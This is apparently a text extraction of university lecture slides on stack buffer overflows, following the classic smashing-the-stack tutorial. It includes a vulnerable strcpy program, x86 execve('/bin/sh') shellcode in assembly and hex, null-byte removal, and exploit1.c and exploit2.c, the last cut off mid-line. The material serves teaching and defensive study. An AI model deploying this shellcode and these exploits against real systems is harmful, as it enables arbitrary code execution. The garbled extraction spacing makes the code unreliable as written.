Buffer Overflow Prabhaker Mateti Wright State University example
Buffer Overflow Prabhaker Mateti Wright State University
example 3. c void function(int a, int b, int c) { char buffer 1[5]; char buffer 2[10]; int *ret; ret = buffer 1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1, 2, 3); x = 1; printf("%dn", x); }
Stack Layout Within function() bottom of memory top of memory buffer 2 <-----top of stack [ buffer 1 ][ sfp ][ ret ][ a ][ b ][ c ][ ] bottom of stack
Example 3. c main() in assembler 0 x 8000490 0 x 8000491 0 x 8000493 0 x 8000496 0 x 800049 d 0 x 800049 f 0 x 80004 a 1 0 x 80004 a 3 0 x 80004 a 8 0 x 80004 ab 0 x 80004 b 2 0 x 80004 b 5 0 x 80004 b 6 0 x 80004 bb 0 x 80004 c 0 0 x 80004 c 3 0 x 80004 c 5 0 x 80004 c 6 0 x 80004 c 7 <main>: <main+1>: <main+3>: <main+6>: <main+13>: <main+15>: <main+17>: <main+19>: <main+24>: <main+27>: <main+34>: <main+37>: <main+38>: <main+43>: <main+48>: <main+51>: <main+53>: <main+54>: <main+55>: pushl movl subl movl pushl call addl movl pushl call addl movl popl ret nop %ebp %esp, %ebp $0 x 4, %esp $0 x 0, 0 xfffffffc(%ebp) $0 x 3 $0 x 2 $0 x 1 0 x 8000470 <function> $0 xc, %esp $0 x 1, 0 xfffffffc(%ebp), %eax $0 x 80004 f 8 0 x 8000378 <printf> $0 x 8, %esp %ebp
execve(…); exit(0); Null terminated string "/bin/sh" somewhere. 2. Address of the string "/bin/sh" somewhere followed by a null pointer. 3. EAX register = 0 x. B 4. EBX register = address of "/bin/sh" 5. ECX register = address of "/bin/sh" 6. EDX register = address of the null pointer. 7. Execute the int $0 x 80 instruction. 8. Copy 0 x 1 into the EAX register. 9. Copy 0 x 0 into the EBX register. 10. Execute the int $0 x 80 instruction. 1.
execve(argv[0], argv, NULL); exit(0); movl string_addr, string_addr movb $0 x 0, null_byte_addr movl $0 x 0, null_addr movl $0 xb, %eax movl string_addr, %ebx leal string_addr, %ecx leal null_string, %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 /bin/sh string goes here.
Stack after ret is overwritten bottom of memory DDDDEEEEEE 89 ABCDEF 0123456789 AB buffer EEEE CDEF sfp FFFF 0123 ret FFFF 4567 a FFFF 89 AB b FFFF CDEF c top of memory <------ [JJSSSSSSSCCss][ssss][0 x. D 8][0 x 01][0 x 02][0 x 03] ^|^ ^| | |||_______||______| (1) (2) ||_______|| |_______| (3) top of stack bottom of stack
Shell Code Outline jmp offset-to-call # popl %esi # movl %esi, array-offset(%esi) # movb $0 x 0, nullbyteoffset(%esi)# movl $0 x 0, null-offset(%esi) # movl $0 xb, %eax # movl %esi, %ebx # leal array-offset, (%esi), %ecx # leal null-offset(%esi), %edx # int $0 x 80 # movl $0 x 1, %eax # movl $0 x 0, %ebx # int $0 x 80 # call offset-to-popl # /bin/sh string goes here. 2 1 3 4 7 5 2 3 3 2 5 5 2 5 bytes bytes bytes bytes
Shell code jmp 0 x 26 popl %esi movl %esi, 0 x 8(%esi) movb $0 x 0, 0 x 7(%esi) movl $0 x 0, 0 xc(%esi) movl $0 xb, %eax movl %esi, %ebx leal 0 x 8(%esi), %ecx leal 0 xc(%esi), %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 call -0 x 2 b. string "/bin/sh" # # # # 2 1 3 4 7 5 2 3 3 2 5 5 2 5 8 bytes bytes bytes bytes
testsc. c char shellcode[] = "xebx 2 ax 5 ex 89x 76x 08xc 6x 46x 07x 00xc 7x 46x 0 cx 00x 00" "x 00xb 8x 0 bx 00x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80" "xb 8x 01x 00xbbx 00xcdx 80xe 8xd 1xff" "xffx 2 fx 62x 69x 6 ex 2 fx 73x 68x 00x 89xecx 5 dxc 3"; void main() { int *ret; ret = (int *) &ret + 2; (*ret) = (int) shellcode; } --------------------------------[aleph 1]$ gcc -o testsc. c [aleph 1]$. /testsc $ exit [aleph 1]$
Eliminate 00 bytes Problem instruction: Substitute with: ----------------------------movb $0 x 0, 0 x 7(%esi) xorl %eax, %eax movl $0 x 0, 0 xc(%esi) movb %eax, 0 x 7(%esi) movl %eax, 0 xc(%esi) ----------------------------movl $0 xb, %eax movb $0 xb, %al ----------------------------movl $0 x 1, %eax xorl %ebx, %ebx movl $0 x 0, %ebx movl %ebx, %eax inc %eax ----------------------------
exploit 1. c char shellcode[] = "xebx 1 fx 5 ex 89x 76x 08x 31xc 0x 88x 46x 07x 89x 46x 0 cxb 0x 0 b" "x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80x 31xdbx 89xd 8x 40xcd" "x 80xe 8xdcxffxff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); } ----------------------------------[aleph 1]$. /exploit 1 $
Current Value of SP unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main() { printf("0 x%xn", get_sp()); } --------------------[aleph 1]$. /sp 0 x 8000470
vulnerable. c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer, argv[1]); }
exploit 2. c void main(int argc, char *argv[]) { bsize = atoi(argv[1]); offset = atoi(argv[2]); addr = get_sp() - offset; buff = malloc(bsize); addr_ptr = (long *) buff; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = buf + 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '